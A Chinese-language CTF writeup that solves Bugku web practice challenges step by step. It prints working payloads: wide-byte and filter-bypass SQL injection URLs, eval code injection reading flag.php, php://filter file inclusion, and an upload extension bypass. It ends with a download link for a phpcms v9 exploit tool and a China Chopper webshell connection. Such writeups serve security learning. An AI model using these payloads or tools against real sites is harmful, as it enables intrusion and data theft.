Writeup - CTF - WEB - 練習平台（123.206.31.85）

 簽到題

這個直接加群就好了

 

 

Web2

打開這個頁面，面對鋪天蓋地而來的滑稽，直接F12查看源代碼

 

文件上傳測試

 

雖然知道題目沒那么簡單，但是先上傳一個PHP文件，看一下反應

點擊上傳后查看頁面的返回情況

頁面返回非圖片文件，應該是有文件類型判定，嘗試用burpsuite繞過

先把test.php的后綴改為圖片類型test.png

開啟burpsuite 點擊發送之后 burpsuite獲取到一個HTTP數據包

在burpsuite中把HTTP數據包轉為Repeater模式，方便觀察頁面返回信息

把文件名由png改為php

發送數據包之后頁面返回FLAG

 

 

 

計算題

76+41=117 計算很簡單 但是只能輸入一位數上去 F12查看源代碼

發現輸入框被限制了輸入長度 修改輸入長度就可以了

 

 

 

web基礎$_GET 

題目已經給出源代碼

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

構建payload

http://120.24.86.145:8002/get/?what=flag

獲取到flag

flag{bugku_get_su8kej2en}

 

web基礎$_POST

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

 這題和上一題差不多，就是提交方式不同

 可以寫from表單模擬POST提交，也可以使用firefox的hackbug模擬POST提交

 這里使用firefox的hackbug模擬POST提交

矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

根據題目意思，獲取到flag的條件是num變量不能為數字，但是要等於1

這里是利用PHP的弱類型漏洞

== 在進行比較的時候，會先將字符串類型轉化成相同，再比較

=== 在進行比較的時候，會先判斷兩種字符串的類型是否相等，再比較

構建payload

http://120.24.86.145:8002/get/index1.php?num=1e0.1

獲取到flag

flag{bugku-789-ps-ssdf}

 

 

Web3

面對彈窗 一般都是直接查看源代碼

在源代碼中找到了一行字符串，這些字符串是 HTML、XML 等 SGML 類語言的轉義序列

將轉義序列放在HTML文件里面

打開HTML文件

 

 

sql注入

自行添加參數上去

測試出為寬字節的注入

根據提示構建payload

http://103.238.227.13:10083/?id=1%df%27 order by 2%23
測試出字段數為2

http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
測試能否利用利用字段回顯

http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
獲取當前使用的數據庫 當前使用數據庫為 sql5

根據題目提醒 數據表為key 字段為string 且id字段為1 構建獲取數據的payload
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id = 1%23

 

SQL注入1

 

題目給出了一段自身的代碼，發現有SQL注入和XSS注入過濾

SQL注入過濾關鍵字，XSS使用strip_tags()函數過濾

百度了一下strip_tags()函數的作用

發現該函數可以將HTML注釋去掉，嘗試利用該函數注入

注入語句被過濾

頁面返回正常

先在關鍵詞中加入HTML語句 繞過SQL關鍵字防御

利用strip_tags()函數去掉HTML 實現SQL注入

 

知道了怎么繞過 構建Payload
http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,database()%23
獲取到當前使用的數據庫為sql3

http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key where id =1 %23
獲取數據

 

你必須讓他停下

 

這個題用burpsuite抓訪問包，放到repeater里面一直發送訪問包，耐心點就能獲取到flag

 

本地包含

 

給出了源代碼

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

發現eval()，構建payload

http://120.24.86.145:8003/?hello=);print_r(file(%22./flag.php%22));//

獲取到flag.php的內容

Array ( [0] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag{bug-ctf-gg-99}; [4] => ?> ) 

 

變量1

 給出代碼

<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

這里是利用超全局變量GLOBALS，構建payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

獲取到的超全局變量內容

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

 

Web4

 根據提示查看源代碼，發現腳本

<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

將URL編碼根據JavaScript的意思拼接在一起

%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62%35%34%61%61%32%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b

URL解碼得到JavaScript腳本

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

根據腳本將“67d709b2b54aa2aa648cf6e87a7114f1”寫到輸入框，點擊按鈕獲得flag

 

Web5 

打開網頁之后，習慣性查看源代碼

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根據提示，JSFUCK解碼，獲取到flag

 

flag在index里

 

 進去之后發現URL

http://120.24.86.145:8005/post/index.php?file=show.php

 發現file參數，又提示flag在index中，想到文件包含，構建payload

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

獲取到base64，解碼得到index.php的內容

<html>
    <title>Bugku-ctf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

 

 

phpcmsV9

 phpcmsv9利用工具 鏈接：https://pan.baidu.com/s/1bpEXRLd 密碼：nscl

 菜刀連接上去，之前的flag被刪了，我12/1加上去的